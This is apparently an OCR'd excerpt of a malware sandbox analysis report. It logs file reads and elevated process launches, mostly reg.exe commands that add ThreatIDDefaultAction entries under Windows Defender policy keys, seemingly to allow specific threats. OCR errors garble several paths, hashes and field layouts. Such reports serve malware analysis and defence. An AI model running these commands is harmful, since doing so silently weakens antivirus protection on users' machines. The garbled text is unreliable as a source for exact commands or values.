C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4098 success or wait 1 6C41CA54 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6C3703DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6C3703DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6C415705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6C415705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4095 success or wait 1 6C415705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 8173 end of file 1 6C415705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6C3703DE ReadFile
19d4630d26b8804 1b59c21e8e2b95¢\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6C3703DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6C3703DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6C415705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 8171 end of file 1 6C415705 unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6B281B4F ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config ~ unknown 4096 end of file 1 6B281B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4096 success or wait 1 6B281B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown 4096 end of file 1 6B281B4F ReadFile
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Analysis Process: conhost.exe PID: 2080, Parent PID: 3560

General

Target ID: 39

Start time: 19:15:38

Start date: 24/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff745070000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 496, Parent PID: 3560

General

Target ID: 41

Start time: 19:16:24

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defenden\Threats\ThreatIDDefaultAction" /f /v 225451 /t R
EG_SZ/d 6 /reg:32

Imagebase: 0xb0000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 3520, Parent PID: 496

General

Target ID: 42

Start time: 19:16:24

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
Imagebase: 0x1c0000

File size: 59392 bytes

MD5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 2416, Parent PID: 3560

General

Target ID: 43

Start time: 19:16:25

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe
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Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f /v 225451 /t REG_SZ /d 6
/reg:64

Imagebase: 0x1c0000

File size: 59392 bytes

MD5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 2064, Parent PID: 3560

General

Target ID: 44

Start time: 19:16:26

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6
/reg:32

Imagebase: 0x1c0000

File size: 59392 bytes

MDS5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 4552, Parent PID: 3560

General

Target ID: 45

Start time: 19:16:26

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6
/reg:64

Imagebase: 0x1c0000

File size: 59392 bytes

MD5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 5128, Parent PID: 3560

General

Target ID: 46

Start time: 19:16:26

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f /v 242872 /t REG_SZ /d 6
/reg:32

Imagebase: 0x1c0000

File size: 59392 bytes

MD5 hash: CEE2A7E57DF2A159A065A34913A055C2
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Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 5268, Parent PID: 3560

General

Target ID: 47

Start time: 19:16:27

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6
/reg:64

Imagebase: 0x1c0000

File size: 59392 bytes

MDS5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 5248, Parent PID: 3560

General

Target ID: 48

Start time: 19:16:27

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d
6 /reg:32

Imagebase: 0x1c0000

File size: 59392 bytes

MDS5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Analysis Process: reg.exe PID: 5376, Parent PID: 3560

General

Target ID: 51

Start time: 19:16:28

Start date: 24/11/2022

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f /v 2147749373 /t REG_SZ /d
6 /reg:64

Imagebase: 0x1c0000

File size: 59392 bytes

MD5 hash: CEE2A7E57DF2A159A065A34913A055C2

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
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Analysis Process: reg.exe PID: 5556, Parent PID: 3560

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

52

19:16:28

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d

6 /reg:32

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

Analysis Process: reg.exe PID: 5532, Parent PID: 3560

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

53

19:16:29

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

"C:\Windows\system32\reg.exe" ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f /v 2147807942 /t REG_SZ /d

6 /reg:64

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

Analysis Process: reg.exe PID: 5576, Parent PID: 3560

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Analysis Process: Conhost.exe PID: 5828, Parent PID: 3128

General
Target ID:
Start time:

Start date:

54

19:16:29

24/11/2022
C:\Windows\SysWOW64\reg.exe

true

"C:\Windows\system32\reg.exe" ADD "HKLM\SOF TWARE\Policies\Microsoft\Windows Defender\Threats\ThreatlDDefaultAction" /f /v 2147735735 /t REG_SZ /d

6 /reg:32

0x1c0000

59392 bytes
CEE2A7E57DF2A159A065A34913A055C2
true

true

C, C++ or other language

208
19:17:11
24/11/2022
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Path: C:\Windows\System32\Conhost.exe
Wow64 process (32bit):

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges:

Has administrator
privileges:

Programmed in: C, C++ or other language

Disassembly

@ No disassembly
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